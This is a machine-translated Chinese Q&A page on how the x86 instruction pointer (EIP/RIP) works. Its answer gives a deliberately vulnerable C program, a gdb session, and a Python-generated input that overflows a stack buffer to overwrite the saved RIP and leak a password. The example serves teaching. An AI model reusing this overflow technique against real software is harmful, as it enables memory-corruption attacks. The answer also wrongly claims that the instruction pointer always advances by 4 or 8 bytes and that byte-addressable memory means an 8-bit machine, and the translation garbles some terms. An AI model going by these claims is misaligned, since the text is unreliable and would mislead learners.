了解EIP(RIP)寄存器的工作原理?

时间:2014-12-11 17:13:05

标签: assembly x86 gdb cpu-registers computer-architecture

我是计算机体系结构的新手,也是处理器/内存级别的低级内容。我先说这个。我用计算机完成的工作几乎总是处于高级编程水平。 C ++,Java等

话虽这么说,我正在阅读一本开始深入研究低级编程,汇编,寄存器,指针等的书。我很难理解EIP寄存器的工作原理。

从书中所说的,每个内存地址都有一个字节,每个字节都有一个内存地址。

从我正在阅读的关于EIP寄存器的内容来看,它指向处理器的下一组指令。在本书中使用调试工具(GDB)时,如果要检查特定位置的内存,请说:

据称x / 8xb可以让你检查内存地址的前8个字节。但如果每个内存地址只有1个字节,我不明白。有人能帮助我理解这个吗?我已经找到了关于这个寄存器如何工作和功能的详尽解释,但我找不到任何东西

1 个答案:

答案 0 :(得分:-2)

instruction pointer通常是微处理器上的寄存器(存储器),对于32位系统,其递增4(4字节),对于64位系统,其递增8(即8字节),因此指向下一个乐器。

程序进入函数时,保存的指令指针(ip / rip / eip)是返回地址,该地址是函数终止后应跳回的地址。

  

根据书中所说,每个内存地址都有一个字节,并且   每个字节都有一个内存地址。

那似乎是一台8位计算机,这不是我们通常的真实情况。如果我们看某个程序,例如:

#include <stdio.h>
#include <string.h>

char * pwd = "pwd0";

void print_my_pwd() {
  printf("your pwd is: %s\n", pwd);
}

int check_pwd(char * uname, char * upwd) {
  char name[8];
  strcpy(name, uname);

  if (strcmp(pwd, upwd)) {
    printf("non authorized\n");
    return 1;
  }
  printf("authorized\n");
  return 0;
}

int main(int argc, char ** argv) {
  check_pwd(argv[1], argv[2]);
  return 0;
}

我可以构建它并使用gdb进行检查。

$ make
gcc -O0 -ggdb -o main main.c -fno-stack-protector
$ gdb main
GNU gdb (Ubuntu 8.2-0ubuntu1~18.04) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from main...done.
(gdb) b check_pwd
Breakpoint 1 at 0x76c: file main.c, line 12.
(gdb) run joe f00b4r42
Starting program: /home/developer/main joe f00b4r42
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, check_pwd (uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42") at main.c:12
12    strcpy(name, uname);
(gdb) info frame
Stack level 0, frame at 0x7fffffffd6d0:
 rip = 0x55555555476c in check_pwd (main.c:12); saved rip = 0x5555555547ef
 called by frame at 0x7fffffffd6f0
 source language c.
 Arglist at 0x7fffffffd6c0, args: uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42"
 Locals at 0x7fffffffd6c0, Previous frame's sp is 0x7fffffffd6d0
 Saved registers:
  rbp at 0x7fffffffd6c0, rip at 0x7fffffffd6c8

您在上方看到saved rip(指令指针)在0x7fffffffd6c8处,值为0x5555555547ef(位置与位置之间的重要差异)。我可以故意使程序溢出,以用我知道的其他方式覆盖此值:

(gdb) p &name
$1 = (char (*)[8]) 0x7fffffffd6b8
(gdb) p &print_my_pwd
$2 = (void (*)()) 0x55555555473a <print_my_pwd>
(gdb) Quit

现在我知道namerip之间的距离(不是值,而是它们的位置):0x7fffffffd6c8-0x7fffffffd6b8 =16。所以我将16个字节写入name的位置,所以我将写到rip的值中,然后写的是print_my_pwd的位置UUUUG:,因为它是低端计算机,所以倒退了:

$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
non authorized
your pwd is: pwd0
Segmentation fault (core dumped)
$  

如您所见,输入导致溢出,并覆盖了指令指针的值,并使指令指针跳转到打印密码的函数的位置。

在现实生活中不要编写这样的代码,但是希望它可以帮助您理解它的工作原理,并且当您不检查输入范围时就不会工作。